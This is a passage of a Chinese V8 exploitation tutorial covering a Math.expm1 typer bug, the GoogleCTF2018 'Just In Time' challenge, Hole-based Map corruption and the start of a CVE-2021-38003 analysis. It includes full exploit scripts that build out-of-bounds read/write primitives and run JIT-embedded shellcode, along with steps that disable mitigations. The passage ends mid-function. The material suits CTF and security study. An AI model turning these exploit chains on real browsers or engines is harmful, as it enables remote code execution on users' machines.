- OtherNumber(ON): ( − ∞ , − 2 31 ) ∪ [ 2 32 , ∞ ) (−\infin,−2^{31})\cup [2^{32},\infin) (−∞,−231)∪[232,∞)
- OtherSigned32(OS32) : [ − 2 31 , − 2 30 ) [−2^{31},−2^{30}) [−231,−230)
- Negative31(N31): [ − 2 30 , 0 ) [−2^{30},0) [−230,0)
- Unsigned30(U30): [ 0 , 2 30 ) [0,2^{30}) [0,230)
- OtherUnsigned31(OU31): [ 2 30 , 2 31 ) [2^{30},2^{31}) [230,231)
- OtherUnsigned32(OU32): [ 2 31 , 2 32 ) [2^{31},2^{32}) [231,232)
- Integral32: [ − 2 31 , 2 32 ) [−2^{31},2^{32}) [−231,232)
- PlainNumber:任何浮点数,不包括 − 0 −0 −0
- Number:任何浮点数,包括 − 0 −0 −0、 NaN \text{NaN} NaN
- Numeric:任何浮点数,包括 − 0 −0 −0、 NaN \text{NaN} NaN 以及 BigInt \text{BigInt} BigInt
根据前面的分析,下面这段 js 代码中 console.log(foo(-0))
应该输出 false
。然而实际运行的结果却是 true
。
function foo(x) {
return Object.is(Math.expm1(x), -0);
}
foo(0);
% OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));
分析优化过程发现 Math.expm1
被初始成 NumberExpm1
并且在 simplified lowering 被替换为 Float64Expm1
。这个函数的返回值为 Number
类型,因此可以返回 -0 。
为了避免出现上述情况,我们在向 foo
函数传入字符串类型参数,此时输出结果变为 false
。
function foo(x) {
return Object.is(Math.expm1(x), -0);
}
foo(0);
% OptimizeFunctionOnNextCall(foo);
foo("0");
% OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));
可以看到 typer 优化阶段后 Math.expm1
返回值类型被判断为 PlainNumber
或 NaN
,与前面的 patch 内容相符。
这里可以看到 Object.is
被优化为 SameValue
。
// ES section #sec-object.is
Reduction JSCallReducer::ReduceObjectIs(Node* node) {
DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
CallParameters const& params = CallParametersOf(node->op());
int const argc = static_cast<int>(params.arity() - 2);
Node* lhs = (argc >= 1) ? NodeProperties::GetValueInput(node, 2)
: jsgraph()->UndefinedConstant();
Node* rhs = (argc >= 2) ? NodeProperties::GetValueInput(node, 3)
: jsgraph()->UndefinedConstant();
Node* value = graph()->NewNode(simplified()->SameValue(), lhs, rhs);
ReplaceWithValue(node, value);
return Replace(value);
}
搜索 JSCallReducer
发现这个优化位于 InliningPhase
阶段。
struct InliningPhase {
void Run(PipelineData* data, Zone* temp_zone) {
...
JSCallReducer call_reducer(&graph_reducer, data->jsgraph(), data->broker(),
data->info()->is_bailout_on_uninitialized()
? JSCallReducer::kBailoutOnUninitialized
: JSCallReducer::kNoFlags,
data->dependencies());
...
}
}
另外搜索 SameValue
发现存在如下优化:
Reduction TypedOptimization::ReduceSameValue(Node* node) {
DCHECK_EQ(IrOpcode::kSameValue, node->opcode());
Node* const lhs = NodeProperties::GetValueInput(node, 0);
Node* const rhs = NodeProperties::GetValueInput(node, 1);
Type const lhs_type = NodeProperties::GetType(lhs);
Type const rhs_type = NodeProperties::GetType(rhs);
if (lhs == rhs) {
// SameValue(x,x) => #true
return Replace(jsgraph()->TrueConstant());
} else if (lhs_type.Is(Type::Unique()) && rhs_type.Is(Type::Unique())) {
// SameValue(x:unique,y:unique) => ReferenceEqual(x,y)
NodeProperties::ChangeOp(node, simplified()->ReferenceEqual());
return Changed(node);
} else if (lhs_type.Is(Type::String()) && rhs_type.Is(Type::String())) {
// SameValue(x:string,y:string) => StringEqual(x,y)
NodeProperties::ChangeOp(node, simplified()->StringEqual());
return Changed(node);
} else if (lhs_type.Is(Type::MinusZero())) {
// SameValue(x:minus-zero,y) => ObjectIsMinusZero(y)
node->RemoveInput(0);
NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
return Changed(node);
} else if (rhs_type.Is(Type::MinusZero())) {
// SameValue(x,y:minus-zero) => ObjectIsMinusZero(x)
node->RemoveInput(1);
NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
return Changed(node);
} else if (lhs_type.Is(Type::NaN())) {
// SameValue(x:nan,y) => ObjectIsNaN(y)
node->RemoveInput(0);
NodeProperties::ChangeOp(node, simplified()->ObjectIsNaN());
return Changed(node);
} else if (rhs_type.Is(Type::NaN())) {
// SameValue(x,y:nan) => ObjectIsNaN(x)
node->RemoveInput(1);
NodeProperties::ChangeOp(node, simplified()->ObjectIsNaN());
return Changed(node);
} else if (lhs_type.Is(Type::PlainNumber()) &&
rhs_type.Is(Type::PlainNumber())) {
// SameValue(x:plain-number,y:plain-number) => NumberEqual(x,y)
NodeProperties::ChangeOp(node, simplified()->NumberEqual());
return Changed(node);
}
return NoChange();
}
搜索 TypedOptimization
发现在 typed lowering 和 load elimination 阶段调用了该优化。
struct TypedLoweringPhase {
static const char* phase_name() { return "typed lowering"; }
void Run(PipelineData* data, Zone* temp_zone) {
...
TypedOptimization typed_optimization(&graph_reducer, data->dependencies(),
data->jsgraph(), data->broker());
...
}
};
struct LoadEliminationPhase {
static const char* phase_name() { return "load elimination"; }
void Run(PipelineData* data, Zone* temp_zone) {
...
TypedOptimization typed_optimization(&graph_reducer, data->dependencies(),
data->jsgraph(), data->broker());
...
}
};
在 foo
函数的第一次优化的 typed lowering 阶段 SameValue
被替换为 ObjectIsMinusZero
。
而在第二次优化时由于 Math.expm1
返回值一定不是 -0 因此 typed lowering 阶段 SameValue
被替换为 false
。
接下来我们尝试用 Object.is
的返回值来访问 JSArray
。
function foo(x) {
let oob_array = [1.1, 2.2, 3.3, 4.4]
let index = Object.is(Math.expm1(x), -0);
index *= 1337;
return oob_array[index];
}
foo(0);
% OptimizeFunctionOnNextCall(foo);
foo("0");
% OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));
发现由于 v8 认为用 SameValue
返回值计算出的 index
总是为 0 因此在 simplified lowering 阶段将 CheckBound
优化掉了。
然而我们可以通过某种手段使得 Object.is
返回 true
。
function foo(x) {
let aux = { mz: -0 };
let index = Object.is(Math.expm1(x), aux.mz);
let oob_array = [1.1, 2.2, 3.3, 4.4]
index *= 1337;
return oob_array[index];
}
foo(0);
% OptimizeFunctionOnNextCall(foo);
foo("0");
% OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));
由于 -0 被放到一个 JSObject
的一个属性中,因此即使到了 load elimination 阶段依旧没有吧 SameValue
优化成 false
。
到了 escape analysis 阶段 LoadField
从 JSObject
获取属性的操作被优化为立即数 -0 。
到了 simplified lowering 阶段,v8 根据 Math.expm1
返回值一定不是 -0 将后面的 CheckBounds
操作优化掉。
然而 Math.expm1
不会返回 -0 是 patch 上去的内容,实际上 Math.expm1
是可以返回 -0 ,至于前面的 Object.is
返回 false
是因为返回值被优化成立即数 false
。
因此可以越界访问数组 oob_array
。
漏洞利用
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}
for (let i = 0; i < 0x40000; i++) {
shellcode();
}
var oob_array = [.1];
function trigger() {
function foo(x) {
let aux = { mz: -0 };
let index = Object.is(Math.expm1(x), aux.mz);
oob_array = [.1]
index *= 4;
oob_array[index] = 1;
}
for (let i = 0; i < 0x40000; i++) {
foo(0);
}
for (let i = 0; i < 0x40000; i++) {
foo("0");
}
foo(-0);
}
trigger();
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
var object_array_map = d2u(oob_array[15]);
var double_array_map = d2u(oob_array[22]);
console.log("[*] object array map: " + hex(object_array_map));
console.log("[*] double array map: " + hex(double_array_map));
function address_of(obj) {
oob_array[15] = u2d(object_array_map);
object_array[0] = obj;
oob_array[15] = u2d(double_array_map);
return d2u(object_array[0]);
}
function read(offset) {
oob_array[31] = u2d((offset - 0x10n) | 1n);
return d2u(rw_array[0]);
}
function write(offset, value) {
oob_array[31] = u2d((offset - 0x10n) | 1n);
rw_array[0] = u2d(value);
}
var shellcode_addr = address_of(shellcode) + 0x30n;
write(shellcode_addr, read(shellcode_addr) + 0x6en);
shellcode();
例题:GoogleCTF2018 Just In Time
环境搭建
cd /path/to/v8
git checkout 7.0.276.3
gclient sync
patch -p1 < ./path/to/addition-reducer.patch
tools/dev/gm.py x64.release
需要注意的是在 simplified lowering 阶段想要去掉 CheckBounds
检查的一个必要条件是 poisoning_level_
等于 kDontPoison
。
搜索 poisoning_level_
发现如下初始化代码:
SimplifiedLowering::SimplifiedLowering(JSGraph* jsgraph,
JSHeapBroker* js_heap_broker, Zone* zone,
SourcePositionTable* source_positions,
NodeOriginTable* node_origins,
PoisoningMitigationLevel poisoning_level)
: jsgraph_(jsgraph),
js_heap_broker_(js_heap_broker),
zone_(zone),
type_cache_(TypeCache::Get()),
source_positions_(source_positions),
node_origins_(node_origins),
poisoning_level_(poisoning_level) {}
进一步搜索,发现 poisoning_level_
是被 data->info()->GetPoisoningMitigationLevel()
初始化的。
struct SimplifiedLoweringPhase {
static const char* phase_name() { return "simplified lowering"; }
void Run(PipelineData* data, Zone* temp_zone) {
SimplifiedLowering lowering(data->jsgraph(), data->js_heap_broker(),
temp_zone, data->source_positions(),
data->node_origins(),
data->info()->GetPoisoningMitigationLevel());
lowering.LowerAllNodes();
}
};
搜索 GetPoisoningMitigationLevel
发现如下相关函数:
PoisoningMitigationLevel poisoning_level_ =
PoisoningMitigationLevel::kDontPoison;
void SetPoisoningMitigationLevel(PoisoningMitigationLevel poisoning_level) {
poisoning_level_ = poisoning_level;
}
PoisoningMitigationLevel GetPoisoningMitigationLevel() const {
return poisoning_level_;
}
其中 poisoning_level_
的初始化与 V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS
有关:
#ifdef DISABLE_UNTRUSTED_CODE_MITIGATIONS
#define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS false
#else
#define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS true
#endif
DEFINE_BOOL(untrusted_code_mitigations, V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS,
"Enable mitigations for executing untrusted code")
DEFINE_BOOL(branch_load_poisoning, false, "Mask loads with branch conditions.")
// Compute and set poisoning level.
PoisoningMitigationLevel load_poisoning =
PoisoningMitigationLevel::kDontPoison;
if (FLAG_branch_load_poisoning) {
load_poisoning = PoisoningMitigationLevel::kPoisonAll;
} else if (FLAG_untrusted_code_mitigations) {
load_poisoning = PoisoningMitigationLevel::kPoisonCriticalOnly;
}
compilation_info()->SetPoisoningMitigationLevel(load_poisoning);
因此需要将 #define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS true
修改为 #define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS false
才能触发 oob 。
漏洞分析
分析 patch 文件,发现在 type lowering 阶段添加了如下优化:
diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc
new file mode 100644
index 0000000000..59e8437f3d
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.cc
@@ -0,0 +1,71 @@
+// Copyright 2018 Google LLC
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+#include "src/compiler/duplicate-addition-reducer.h"
+
+#include "src/compiler/common-operator.h"
+#include "src/compiler/graph.h"
+#include "src/compiler/node-properties.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common)
+ : AdvancedReducer(editor),
+ graph_(graph), common_(common) {}
+
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+ Node* left = NodeProperties::GetValueInput(node, 0);
+ if (left->opcode() != node->opcode()) {
+ return NoChange();
+ }
+
+ Node* right = NodeProperties::GetValueInput(node, 1);
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ double const1 = OpParameter<double>(right->op());
+ double const2 = OpParameter<double>(parent_right->op());
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+ return Changed(node);
+}
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
这个优化实际就是常量折叠,例如 x + 1 + 2
可以被优化为 x + 3
。
浮点数中有一个上界 9007199254740992 ,当达到这个数时精度不能保证。例如 9007199254740991 + 1 = 9007199254740992
但是 9007199254740992 + 1 = 9007199254740992
,9007199254740992 + 2 = 9007199254740994
。我们可以通过二分得到这个上界。
#include <bits/stdc++.h>
int main() {
std::ios::sync_with_stdio(false);
std::cin.tie(nullptr);
uint64_t l = 0, r = std::numeric_limits<uint64_t>::max();
while (l < r) {
uint64_t m = (__int128(l) + r) / 2;
if (double(m) == double(m) + 1) {
r = m;
} else {
l = m + 1;
}
}
assert(double(l) == double(l) + 1);
std::cout << l << std::endl;
return 0;
}
由于 type lowering 优化位于计算范围的 typer 之后并且位于优化 CheckBounds
的 simplified lowering 之前,因此可以通过上面的特性利用题目添加的优化为 simplified lowering 提供一个错误的范围使得 CheckBounds
被优化掉造成 oob 。
因此有如下 POC :
这里有几个需要注意的问题:
- 需要有一个
x == 1 ? 9007199254740992 : 9007199254740988
条件分枝确保9007199254740992 + 1 + 1 + 1
优化成9007199254740992 + 3
而不是9007199254740992
。 9007199254740992 - n - 1
是为了确保加上后面的 n 个+ 1
不和9007199254740992
加上后面的 n 个+ 1
相同,否则会和上面那个情况一样被优化成9007199254740992
。
漏洞利用
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}
for (let i = 0; i < 0x40000; i++) {
shellcode();
}
function trigger() {
function foo(x) {
let oob_array = [.1, .2];
let t = (x == 1 ? 9007199254740992 : 9007199254740988) + 1 + 1 + 1;
t -= 9007199254740991;
oob_array[t] = 1;
return oob_array;
}
for (let i = 0; i < 0x40000; i++) {
foo(0);
}
return foo(1);
}
let oob_array = trigger();
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
var object_array_map = d2u(oob_array[16]);
var double_array_map = d2u(oob_array[23]);
console.log("[*] object array map: " + hex(object_array_map));
console.log("[*] double array map: " + hex(double_array_map));
function address_of(obj) {
oob_array[16] = u2d(object_array_map);
object_array[0] = obj;
oob_array[16] = u2d(double_array_map);
return d2u(object_array[0]);
}
function read(offset) {
oob_array[32] = u2d((offset - 0x10n) | 1n);
return d2u(rw_array[0]);
}
function write(offset, value) {
oob_array[32] = u2d((offset - 0x10n) | 1n);
rw_array[0] = u2d(value);
}
var shellcode_addr = address_of(shellcode) + 0x30n;
write(shellcode_addr, read(shellcode_addr) + 0x6en);
shellcode();
Hole
利用方式
Hole
是 JS 内部的一种数据类型,用来标记不存在的元素,与 C++ 中的 nullptr
类似,不过这个数据类型通常是不会泄露至用户。
Hole 类型的漏洞利用是指由于内部数据结构 Hole
通过漏洞被暴露至用户层,因此可以根据 Hole
创建⼀个长度为 -1 的 JSMap
结构,导致越界读写,并造成 RCE。
根据前面对 JSMap
结构的分析可知,当一个元素被从 JSMap
删除的时候 JS 会将该元素对应的 Entry
的 key
和 value
修改为 Hole
。如果我们往 JSMap
中加入一个 key
为 Hole
的元素就可以一直删除 key
为 Hole
的元素。不过实际上由于 shrink 操作会清除 JSMap
中的 Hole
因此需要具体分析。
有如下示例(commit:4a03d61accede9dd0e3e6dc0456ff5a0e3f792b4
):
var map = new Map();
let hole = % TheHole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size); // -1
这里 map.set(1, 1)
的作用是为了确保两次 map.delete(hole)
后才出现 shrink 操作。之后的 map.delete(1)
使得 map.size
变为 -1 。
根据前面对 JSMap
结构的分析以及实际调试可知 JSMap
的关键结构如下图所示:
之后再次向 JSMap
中添加元素。由于 JSMap
中没有待添加元素的 key
,因此会在 elements
中写入新的 Entry
。而新的 Entry
的地址的计算方式是 &buckets + number_of_buckets + (new_number_of_elements + new_number_of_deleted) * 3
(统一按照 buckets
元素大小计算) ,由于经过了 shrink 操作,这三个值分别为:
number_of_elements
: -1number_of_deleted
: 0number_of_buckets
: 2
occupancy = IntPtrAdd(new_number_of_elements, new_number_of_deleted);
const TNode<IntPtrT> entry_start = IntPtrAdd(
IntPtrMul(occupancy, IntPtrConstant(OrderedHashMap::kEntrySize)),
number_of_buckets);
UnsafeStoreFixedArrayElement(
table, entry_start, key, UPDATE_WRITE_BARRIER,
kTaggedSize * OrderedHashMap::HashTableStartIndex());
UnsafeStoreFixedArrayElement(
table, entry_start, value, UPDATE_WRITE_BARRIER,
kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
OrderedHashMap::kValueOffset));
UnsafeStoreFixedArrayElement(
table, entry_start, bucket_entry,
kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
OrderedHashMap::kChainOffset));
因此 Entry
起始地址等同于 &bucket[-1]
,会将 bucket count
覆盖,也就是说我们能够控制 number_of_buckets
。
当我们拥有控制 number_of_buckets
的能力时,由于新的 Entry
的地址的计算方式是 &buckets + number_of_buckets + new_number_of_elements + new_number_of_deleted
,因此我们可以溢出进行任意地址写。其中一个用法便是修改 JSArray
的 length
实现 OOB 。
之后的操作可以参考前面的沙箱逃逸。由于这个版本不容易泄露沙箱基地址,因此这里采用立即数写 shellcode 的方法。另外立即数写 shellcode 的 JIT 过程使得 Hole 的 JSMap 利用过程更加稳定。
另外需要注意的是 JSMap
的 set
操作时如果 HashTable[ComputeUnseededHash(key) & (buckets - 1)]
不为 -1 ,则会在 HashTable[ComputeUnseededHash(key) & (buckets - 1)]
对应的单向链表中查找 key
,期间会检查链表中的 Entry
是否合法。为了避免出现这一情况,需要满足 HashTable[ComputeUnseededHash(key) & (buckets - 1)]
。调试发现原来的 buckets
范围内的值为 -1 因此只需要满足 ComputeUnseededHash(key) & (buckets - 1) = 0
并且 key
足够大(这里用 key
来覆盖 JsArray
的 length
,否则会破坏 JsArray
的结构)。因此有如下爆破脚本。
#include <bits/stdc++.h>
uint32_t ComputeUnseededHash(uint32_t key) {
uint32_t hash = key;
hash = ~hash + (hash << 15);
hash = hash ^ (hash >> 12);
hash = hash + (hash << 2);
hash = hash ^ (hash >> 4);
hash = hash * 2057;
hash = hash ^ (hash >> 16);
return hash & 0x3fffffff;
}
int main() {
uint32_t key = 0x300, buckets = 0x15;
while ((ComputeUnseededHash(key) & (buckets - 1)) != 0) {
key++;
}
printf("%x\n", key);
return 0;
}
POC 如下:
// ./d8 --allow-natives-syntax poc.js
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}
for (let i = 0; i < 0x40000; i++) {
shellcode();
}
var map = new Map();
let hole = % TheHole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size); // -1
map.set(0x15, -1);
var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
map.set(0x303, 0);
var object_array_map = d2u(oob_array[2]);
var double_array_map = d2u(oob_array[14]);
console.log("[*] object array map: " + hex(object_array_map >> 32n));
console.log("[*] double array map: " + hex(double_array_map & 0xFFFFFFFFn));
function offset_of(obj) {
oob_array[2] = u2d(object_array_map);
object_array[0] = obj;
oob_array[2] = u2d(double_array_map << 32n);
return d2u(object_array[0]) & 0xFFFFFFFFn;
}
function read(offset) {
oob_array[22] = u2d(((offset - 8n) | 1n) | (d2u(oob_array[22]) << 32n));
return d2u(rw_array[0]);
}
function write(offset, value) {
oob_array[22] = u2d(((offset - 8n) | 1n) | (d2u(oob_array[22]) << 32n));
rw_array[0] = u2d(value);
}
var code_offset = read(offset_of(shellcode) + 0x18n) & 0xFFFFFFFFn;
console.log("[*] code offset: " + hex(code_offset));
code_offset += 0x68n;
write(offset_of(shellcode) + 0x18n, code_offset);
shellcode();
CVE-2021-38003
附件下载链接 commit:4a03d61accede9dd0e3e6dc0456ff5a0e3f792b4
该漏洞是 JSON.stringify()
中存在触发溢出异常时没有设置 pending_exception
导致用户代码在 catch 异常时从 pending_exception
中取出默认填充值 Hole
。
void Isolate::clear_pending_exception() {
DCHECK(!thread_local_top_.pending_exception_->IsException(this));
thread_local_top_.pending_exception_ = ReadOnlyRoots(this).the_hole_value();
}
JSON.stringify()
方法是将一个 JavaScript 对象或值转换为 JSON 字符串,如果指定了一个 replacer 函数,则可以选择性地替换值,或者指定的 replacer 是数组,则可选择性地仅包含数组指定的属性。
该函数定义为 JSON.stringify(value[, replacer [, space]])
-
value
将要序列化成 一个 JSON 字符串的值。 -
replacer
(可选)
如果该参数是一个函数,则在序列化过程中,被序列化的值的每个属性都会经过该函数的转换和处理;如果该参数是一个数组,则只有包含在这个数组中的属性名才会被序列化到最终的 JSON 字符串中;如果该参数为 null 或者未提供,则对象所有的属性都会被序列化。 -
space
(可选)
指定缩进用的空白字符串,用于美化输出(pretty-print);如果参数是个数字,它代表有多少的空格;上限为 10。该值若小于 1,则意味着没有空格;如果该参数为字符串(当字符串长度超过 10 个字母,取其前 10 个字母),该字符串将被作为空格;如果该参数没有提供(或者为 null),将没有空格。
该函数返回值一个表示给定值的 JSON 字符串。
CVE-2021-38003 的 POC 如下,按照 POC 中调用 JSON.stringify
后的执行情况介绍 JSON.stringify
函数的具体流程。
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
let hole = trigger();
console.log(hole);
%DebugPrint(hole);
JSON.stringify()
在 V8 中的接口如下:
MaybeHandle<Object> JsonStringifier::Stringify(Handle<Object> object,
Handle<Object> replacer,
Handle<Object> gap) {
if (!InitializeReplacer(replacer)) return MaybeHandle<Object>();
if (!gap->IsUndefined(isolate_) && !InitializeGap(gap)) {
return MaybeHandle<Object>();
}
Result result = SerializeObject(object);
if (result == UNCHANGED) return factory()->undefined_value();
if (result == SUCCESS) return builder_.Finish();
DCHECK(result == EXCEPTION);
return MaybeHandle<Object>();
}
可以看到 Stringify
在初始化完 replacer
和 gap
之后会调用核心函数 SerializeObject
之后对返回值进行检查,如果返回值为 EXCEPTION
说明触发异常。
SerializeObject
函数实际是调用 Serialize_
函数。
// Entry point to serialize the object.
V8_INLINE Result SerializeObject(Handle<Object> obj) {
return Serialize_<false>(obj, false, factory()->empty_string());
}
Serialize_
函数中是一个很大的 switch ,对于 obj
中的元素的类型调用不同的序列化方法。根据 POC 的情况,这里调用 SerializeJSArray
函数。
template <bool deferred_string_key>
JsonStringifier::Result JsonStringifier::Serialize_(Handle<Object> object,
bool comma,
Handle<Object> key) {
...
switch (HeapObject::cast(*object).map().instance_type()) {
...
case JS_ARRAY_TYPE:
if (deferred_string_key) SerializeDeferredKey(comma, key);
return SerializeJSArray(Handle<JSArray>::cast(object), key);
...
}
}
SerializeJSArray
函数的相关内容如下。在 POC 中数组 b
的每个元素均是数组 a
,其类型是 PACKED_ELEMENTS
因此会调用 SerializeElement
处理,而 SerializeElement
会调用 Serialize_
递归进行处理。
// Serialize an array element.
// The index may serve as argument for the toJSON function.
V8_INLINE Result SerializeElement(Isolate* isolate, Handle<Object> object,
int i) {
return Serialize_<false>(object, false,
Handle<Object>(Smi::FromInt(i), isolate));
}
JsonStringifier::Result JsonStringifier::SerializeJSArray(
Handle<JSArray> object, Handle<Object> key) {
HandleScope handle_scope(isolate_);
Result stack_push = StackPush(object, key);
if (stack_push != SUCCESS) return stack_push;
uint32_t length = 0;
CHECK(object->length().ToArrayLength(&length));
DCHECK(!object->IsAccessCheckNeeded());
builder_.AppendCharacter('[');
Indent();
uint32_t i = 0;
if (replacer_function_.is_null()) {
switch (object->GetElementsKind()) {
...
case PACKED_ELEMENTS: {
Handle<Object> old_length(object->length(), isolate_);
while (i < length) {
if (object->length() != *old_length ||
object->GetElementsKind() != PACKED_ELEMENTS) {
// Fall back to slow path.
break;
}
Separator(i == 0);
Result result = SerializeElement(
isolate_,
Handle<Object>(FixedArray::cast(object->elements()).get(i),
isolate_),
i);
if (result == UNCHANGED) {
builder_.AppendCString("null");
} else if (result != SUCCESS) {
return result;
}
i++;
}
break;
}
// The FAST_HOLEY_* cases could be handled in a faster way. They resemble
// the non-holey cases except that a lookup is necessary for holes.
default:
break;
}
}
if (i < length) {
// Slow path for non-fast elements and fall-back in edge case.
Result result = SerializeArrayLikeSlow(object, i, length);
if (result != SUCCESS) return result;
}
Unindent();
if (length > 0) NewLine();
builder_.AppendCharacter(']');
StackPop();
return SUCCESS;
}
数组 a 的成元是基本类型字符串,所以在 SerializeJSArray
方法不会再进入递归,而是调用 SerializeArrayLikeSlow
进行下一步操作
JsonStringifier::Result JsonStringifier::SerializeArrayLikeSlow(
Handle<JSReceiver> object, uint32_t start, uint32_t length) {
// We need to write out at least two characters per array element.
static const int kMaxSerializableArrayLength = String::kMaxLength / 2;
if (length > kMaxSerializableArrayLength) {
isolate_->Throw(*isolate_->factory()->NewInvalidStringLengthError());
return EXCEPTION;
}
for (uint32_t i = start; i < length; i++) {
Separator(i == 0);
Handle<Object> element;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate_, element, JSReceiver::GetElement(isolate_, object, i),
EXCEPTION);
Result result = SerializeElement(isolate_, element, i);
if (result == SUCCESS) continue;
if (result == UNCHANGED) {
// Detect overflow sooner for large sparse arrays.
if (builder_.HasOverflowed()) return EXCEPTION;
builder_.AppendCString("null");
} else {
return result;
}
}
return SUCCESS;
}
这里调用的 SerializeElement
会再次调用 Serialize_
只不过由于这次传入的是字符串,因此会调用 SerializeString
并最终调用 SerializeString_
。
void JsonStringifier::SerializeString(Handle<String> object) {
object = String::Flatten(isolate_, object);
if (builder_.CurrentEncoding() == String::ONE_BYTE_ENCODING) {
if (String::IsOneByteRepresentationUnderneath(*object)) {
SerializeString_<uint8_t, uint8_t>(object);
} else {
builder_.ChangeEncoding();
SerializeString(object);
}
} else {
if (String::IsOneByteRepresentationUnderneath(*object)) {
SerializeString_<uint8_t, base::uc16>(object);
} else {
SerializeString_<base::uc16, base::uc16>(object);
}
}
}
default:
if (object->IsString()) {
if (deferred_string_key) SerializeDeferredKey(comma, key);
SerializeString(Handle<String>::cast(object));
return SUCCESS;
}
SerializeString_
本质就是把字符 Append
到 builder_
中。
template <typename SrcChar, typename DestChar>
void JsonStringifier::SerializeString_(Handle<String> string) {
...
for (int i = 0; i < reader.length(); i++) {
SrcChar c = reader.Get<SrcChar>(i);
if (DoNotEscape(c)) {
